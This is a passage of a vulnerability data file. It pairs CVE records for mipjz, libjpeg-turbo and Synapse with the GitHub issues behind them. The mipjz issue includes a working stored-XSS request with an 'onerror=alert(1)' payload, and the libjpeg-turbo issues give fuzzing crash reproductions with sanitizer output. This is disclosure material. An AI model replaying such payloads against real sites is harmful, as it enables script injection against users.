"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/sansanyun/mipjz/issues/14"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/sansanyun/mipjz/issues/14"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mipjz_project:mipjz:5.0.5:*:*:*:*:*:*:*",
"matchCriteriaId": "E4AEA22F-BAAD-4FC2-B025-B0E93FD5F818",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/sansanyun/mipjz/issues/14 | [
"Exploit"
] | github.com | [
"sansanyun",
"mipjz"
] | [Vulnerability Description]
Cross SIte Scripting (XSS) vulnerability exists in mipjz v5.0.5, attackers can execute arbitrary code via the tag category name field from categoryAdd.
[Vulnerability Type]
Cross Site Scripting (XSS)
[Vendor of Product]
https://github.com/sansanyun/mipjz
http://www.mipjz.com/
[Affected Product Code Base]
v5.0.5
[Vulnerability Proof]
1. Check the code and find that /app/tag/controller/ApiAdminTagCategory.php does not check and filter the name parameter input by the user

2. Add a tag category, insert the js code at the name parameter: xss<img src onerror=alert(1)>
```
POST /index.php?s=/tag/ApiAdminTagCategory/categoryAdd HTTP/1.1
Host: 192.168.11.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
dataId:
Content-Length: 286
Origin: http://192.168.11.102
Connection: close
Referer: http://192.168.11.102/index.php?s=/admin/
Cookie: jERzUAUdppHHnews=2%2C1; jERzUAUdppHHproduct=1%2C3; csrf_49dccd=65bc5ef8; Hm_lvt_3155433929be1afd6cef849b9709d4d7=1684330392; Hm_lpvt_3155433929be1afd6cef849b9709d4d7=1684330392; PHPSESSID=rtdn09cuqpvt4chfomi043aun0
{"pid":0,"name":"xss<img src onerror=alert(1)>","url_name":"aaa","seo_title":"","template":"tag.html","detail_template":"tagDetail.html","category_url":"/tag/<url_name>/","category_page_url":"<category_url>index_<page>.html","detail_url":"/tag/<id>.html","description":"","keywords":""}
```
3. Delete the label category created in the previous step, and any code will be executed in the pop-up prompt box

| There is a cross site scripting (XSS) vulnerability exists in mipjz v5.0.5 | https://api.github.com/repos/sansanyun/mipjz/issues/14/comments | 0 | 2023-05-17T17:13:04Z | 2023-05-17T17:13:04Z | https://github.com/sansanyun/mipjz/issues/14 | 1,714,322,249 | 14 | 5,198 |
CVE-2023-2804 | 2023-05-25T22:15:09.443 | A heap-based buffer overflow issue was discovered in libjpeg-turbo in h2v2_merged_upsample_internal() function of jdmrgext.c file. The vulnerability can only be exploited with 12-bit data precision for which the range of the sample data type exceeds the valid sample range, hence, an attacker could craft a 12-bit lossless JPEG image that contains out-of-range 12-bit samples. An application attempting to decompress such image using merged upsampling would lead to segmentation fault or buffer overflows, causing an application to crash. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-2804"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2208447"
},
{
"source": "secalert@redhat.com",
"tags": [
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/9f756bc67a84d4566bf74a0c2432aa55da404021"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/668#issuecomment-1492586118"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/675"
},
{
"source": "secalert@redhat.com",
"tags": null,
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-2804"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2208447"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/9f756bc67a84d4566bf74a0c2432aa55da404021"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/668#issuecomment-1492586118"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/675"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libjpeg-turbo:libjpeg-turbo:2.1.90:*:*:*:*:*:*:*",
"matchCriteriaId": "B3DDE171-3648-4EA8-BD44-788B3FDAF61E",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/libjpeg-turbo/libjpeg-turbo/issues/668#issuecomment-1492586118 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"libjpeg-turbo",
"libjpeg-turbo"
] | **Have you searched the existing issues (both open and closed) in the libjpeg-turbo issue tracker to ensure that this bug report is not a duplicate?**
Yes
**Does this bug report describe one of the [two known and unsolvable issues with the JPEG format](https://libjpeg-turbo.org/pmwiki/uploads/About/TwoIssueswiththeJPEGStandard.pdf)?**
No
**Clear and concise description of the bug:**
I found a poc which can cause djpeg crash when fuzz testing.
> AddressSanitizer report it a heap buffer overflow in /libjpeg-turbo/jquant2.c:224 at prescan_quantize()
**Steps to reproduce the bug (using *only* libjpeg-turbo):**
Normal run:
```
$ ../build_norm/djpeg -colors 10 -rgb565 ./poc1min.jpg
fish: “../build_norm/djpeg -colors 10…” terminated by signal SIGSEGV (Address boundary error)
```
Asan report:
```
$ ../build_asan_g/djpeg -colors 10 -rgb565 ./poc1min.jpg
=================================================================
==2390006==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900000939a at pc 0x7f0438ef479b bp 0x7ffeb86ef390 sp 0x7ffeb86ef380
READ of size 2 at 0x62900000939a thread T0
#0 0x7f0438ef479a in prescan_quantize /home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/jquant2.c:224
#1 0x7f0438eda642 in post_process_prepass /home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/jdpostct.c:192
#2 0x7f0438eca918 in process_data_context_main /home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/jdmainct.c:381
#3 0x7f0438e074a4 in output_pass_setup /home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/jdapistd.c:139
#4 0x560835de2f8f in main /home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/djpeg.c:708
#5 0x7f0438baa0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#6 0x560835de4b3d in _start (/home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/build_asan_g/djpeg+0x8b3d)
Address 0x62900000939a is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/oceane/fuzz_test/new_djpeg/libjpeg-turbo/jquant2.c:224 in prescan_quantize
Shadow bytes around the buggy address:
0x0c527fff9220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c527fff9270: fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff92a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff92b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff92c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2390006==ABORTING
```
**Image(s) needed in order to reproduce the bug (if applicable):**

**Expected behavior:**
Without crash.
**Observed behavior:**
djpeg crashes with SIGSEGV.
**Platform(s) (compiler version, operating system version, CPU) on which the bug was observed:**
```
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
g++ (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
Ubuntu 20.04.4 LTS
Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
```
**libjpeg-turbo release(s), commit(s), or branch(es) in which the bug was observed (always test the tip of the main branch or the latest [stable pre-release](https://libjpeg-turbo.org/DeveloperInfo/PreReleases) to verify that the bug hasn't already been fixed):**
```
$ git log --oneline -1
cc8c6d36 (HEAD -> main, origin/main, origin/HEAD) tjbenchtest: Test all subsampling types
$ ../build_norm/djpeg -version
libjpeg-turbo version 2.1.92 (build 20230325)
```
**If the bug is a regression, the specific commit that introduced the regression (use `git bisect` to determine this):**
**Additional information:**
| Heap Buffer Overflow in /libjpeg-turbo/jquant2.c:224 at prescan_quantize() (SIGSEGV) | https://api.github.com/repos/libjpeg-turbo/libjpeg-turbo/issues/668/comments | 6 | 2023-03-25T08:27:23Z | 2024-01-25T13:18:05Z | https://github.com/libjpeg-turbo/libjpeg-turbo/issues/668 | 1,640,430,290 | 668 | 5,199 |
CVE-2023-2804 | 2023-05-25T22:15:09.443 | A heap-based buffer overflow issue was discovered in libjpeg-turbo in h2v2_merged_upsample_internal() function of jdmrgext.c file. The vulnerability can only be exploited with 12-bit data precision for which the range of the sample data type exceeds the valid sample range, hence, an attacker could craft a 12-bit lossless JPEG image that contains out-of-range 12-bit samples. An application attempting to decompress such image using merged upsampling would lead to segmentation fault or buffer overflows, causing an application to crash. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-2804"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2208447"
},
{
"source": "secalert@redhat.com",
"tags": [
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/9f756bc67a84d4566bf74a0c2432aa55da404021"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/668#issuecomment-1492586118"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/675"
},
{
"source": "secalert@redhat.com",
"tags": null,
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-2804"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2208447"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/9f756bc67a84d4566bf74a0c2432aa55da404021"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/668#issuecomment-1492586118"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/libjpeg-turbo/libjpeg-turbo/issues/675"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libjpeg-turbo:libjpeg-turbo:2.1.90:*:*:*:*:*:*:*",
"matchCriteriaId": "B3DDE171-3648-4EA8-BD44-788B3FDAF61E",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/libjpeg-turbo/libjpeg-turbo/issues/675 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"libjpeg-turbo",
"libjpeg-turbo"
] | **Have you searched the existing issues (both open and closed) in the libjpeg-turbo issue tracker to ensure that this bug report is not a duplicate?**
Yes
**Does this bug report describe one of the [two known and unsolvable issues with the JPEG format](https://libjpeg-turbo.org/pmwiki/uploads/About/TwoIssueswiththeJPEGStandard.pdf)?**
No
**Clear and concise description of the bug:**
We found a poc which can cause djpeg crash when fuzz testing.
AddressSanitizer report it as heap-buffer-overflow at /libjpeg-turbo/jdmrgext.c:126 in h2v2_merged_upsample_internal()
**Steps to reproduce the bug (using *only* libjpeg-turbo):**
Normal run:
```
$ /home/cl3nn0/Downloads/test/libjpeg-turbo/build_normal/djpeg -nosmooth ./poc_tmin124
P6
12336 12336
4095
Premature end of JPEG file
[1] 3406823 segmentation fault /home/cl3nn0/Downloads/test/libjpeg-turbo/build_normal/djpeg -nosmooth
```
Asan report:
```
$ /home/cl3nn0/Downloads/libjpeg-turbo/build_asan/djpeg -nosmooth ./poc_tmin124
P6
12336 12336
4095
Premature end of JPEG file
=================================================================
==319734==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d000009cb0 at pc 0x7f4497da501e bp 0x7ffe7dce5330 sp 0x7ffe7dce5328
READ of size 8 at 0x62d000009cb0 thread T0
#0 0x7f4497da501d in h2v2_merged_upsample_internal /home/cl3nn0/Downloads/libjpeg-turbo/jdmrgext.c:126:19
#1 0x7f4497da501d in h2v2_merged_upsample /home/cl3nn0/Downloads/libjpeg-turbo/jdmerge.c:383:5
#2 0x7f4497d9d95b in merged_2v_upsample /home/cl3nn0/Downloads/libjpeg-turbo/jdmerge.c:260:5
#3 0x7f4497d9c908 in process_data_simple_main /home/cl3nn0/Downloads/libjpeg-turbo/jdmainct.c:317:3
#4 0x7f4497d6b94f in jpeg12_read_scanlines /home/cl3nn0/Downloads/libjpeg-turbo/jdapistd.c:333:3
#5 0x4cab55 in main /home/cl3nn0/Downloads/libjpeg-turbo/djpeg.c:868:25
#6 0x7f44977f8082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41d53d in _start (/home/cl3nn0/Downloads/libjpeg-turbo/build_asan/djpeg+0x41d53d)
0x62d000009cb0 is located 1265 bytes to the right of 37823-byte region [0x62d000000400,0x62d0000097bf)
allocated by thread T0 here:
#0 0x49879d in malloc (/home/cl3nn0/Downloads/libjpeg-turbo/build_asan/djpeg+0x49879d)
#1 0x7f4497d09f93 in alloc_small /home/cl3nn0/Downloads/libjpeg-turbo/jmemmgr.c:317:33
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/cl3nn0/Downloads/libjpeg-turbo/jdmrgext.c:126:19 in h2v2_merged_upsample_internal
Shadow bytes around the buggy address:
0x0c5a7fff9340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c5a7fff9390: fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa
0x0c5a7fff93a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff93b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff93c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff93d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff93e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==319734==ABORTING
```
**Image(s) needed in order to reproduce the bug (if applicable):**
[poc_tmin124.zip](https://github.com/libjpeg-turbo/libjpeg-turbo/files/11072517/poc_tmin124.zip)
**Expected behavior:**
No crash.
**Observed behavior:**
djpeg crashes with SIGSEGV.
**Platform(s) (compiler version, operating system version, CPU) on which the bug was observed:**
```
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
g++ (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
Ubuntu 20.04.4 LTS
Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
```
**libjpeg-turbo release(s), commit(s), or branch(es) in which the bug was observed (always test the tip of the main branch or the latest [stable pre-release](https://libjpeg-turbo.org/DeveloperInfo/PreReleases) to verify that the bug hasn't already been fixed):**
```
$ git log --oneline -1
cc8c6d36 (HEAD -> main, origin/main, origin/HEAD) tjbenchtest: Test all subsampling types
$ /home/cl3nn0/Downloads/libjpeg-turbo/build_asan/djpeg -version
libjpeg-turbo version 2.1.92 (build 20230325)
```
**If the bug is a regression, the specific commit that introduced the regression (use `git bisect` to determine this):**
**Additional information:**
This bug is not reproducible with the 2.1.x branch.
| heap-buffer-overflow at /libjpeg-turbo/jdmrgext.c:126 in h2v2_merged_upsample_internal() (SIGSEGV) | https://api.github.com/repos/libjpeg-turbo/libjpeg-turbo/issues/675/comments | 1 | 2023-03-26T18:02:37Z | 2023-05-19T20:01:57Z | https://github.com/libjpeg-turbo/libjpeg-turbo/issues/675 | 1,641,013,155 | 675 | 5,200 |
CVE-2022-39335 | 2023-05-26T14:15:09.600 | Synapse is an open-source Matrix homeserver written and maintained by the Matrix.org Foundation. The Matrix Federation API allows remote homeservers to request the authorization events in a room. This is necessary so that a homeserver receiving some events can validate that those events are legitimate and permitted in their room. However, in versions of Synapse up to and including 1.68.0, a Synapse homeserver answering a query for authorization events does not sufficiently check that the requesting server should be able to access them. The issue was patched in Synapse 1.69.0. Homeserver administrators are advised to upgrade. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 3.4,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 3.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/matrix-org/synapse/issues/13288"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/matrix-org/synapse/pull/13823"
},
{
"source": "security-advisories@github.com",
"tags": [
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-45cj-f97f-ggwv"
},
{
"source": "security-advisories@github.com",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T2MBNMZAFY4RCZL2VGBGAPKGB4JUPZVS/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/matrix-org/synapse/issues/13288"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/matrix-org/synapse/pull/13823"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-45cj-f97f-ggwv"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T2MBNMZAFY4RCZL2VGBGAPKGB4JUPZVS/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:matrix:synapse:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C52C39A8-CA23-4EFF-ACCC-25C9FD8A83AA",
"versionEndExcluding": "1.69.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"862"
] | 862 | https://github.com/matrix-org/synapse/issues/13288 | [
"Issue Tracking"
] | github.com | [
"matrix-org",
"synapse"
] | If a remote server sends us a federation request (such as `get_missing_events`, or requesting a space summary) during a state resync, we may well reject that request due to not thinking the remote server is in the room.
Possibly we need to define some return code to say "sorry, can't auth you right now".
| Faster joins: incoming federation requests during resync may be incorrectly rejected | https://api.github.com/repos/matrix-org/synapse/issues/13288/comments | 8 | 2022-07-15T13:12:56Z | 2022-09-23T10:47:18Z | https://github.com/matrix-org/synapse/issues/13288 | 1,306,022,984 | 13,288 | 5,201 |
CVE-2023-32323 | 2023-05-26T14:15:10.827 | Synapse is an open-source Matrix homeserver written and maintained by the Matrix.org Foundation. A malicious user on a Synapse homeserver X with permission to create certain state events can disable outbound federation from X to an arbitrary homeserver Y. Synapse instances with federation disabled are not affected. In versions of Synapse up to and including 1.73, Synapse did not limit the size of `invite_room_state`, meaning that it was possible to create an arbitrarily large invite event. Synapse 1.74 refuses to create oversized `invite_room_state` fields. Server operators should upgrade to Synapse 1.74 or newer urgently. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.1,
"impactScore": 1.4,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/matrix-org/synapse/issues/14492"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/matrix-org/synapse/pull/14642"
},
{
"source": "security-advisories@github.com",
"tags": [
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-f3wc-3vxv-xmvr"
},
{
"source": "security-advisories@github.com",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJIJRP5ZH6B3KGFLHCAKR2IX2Y4Z25QD/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/matrix-org/synapse/issues/14492"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/matrix-org/synapse/pull/14642"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-f3wc-3vxv-xmvr"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJIJRP5ZH6B3KGFLHCAKR2IX2Y4Z25QD/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:matrix:synapse:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D7B262AE-3361-41B7-8BF8-D893316A98C4",
"versionEndExcluding": "1.74.0",
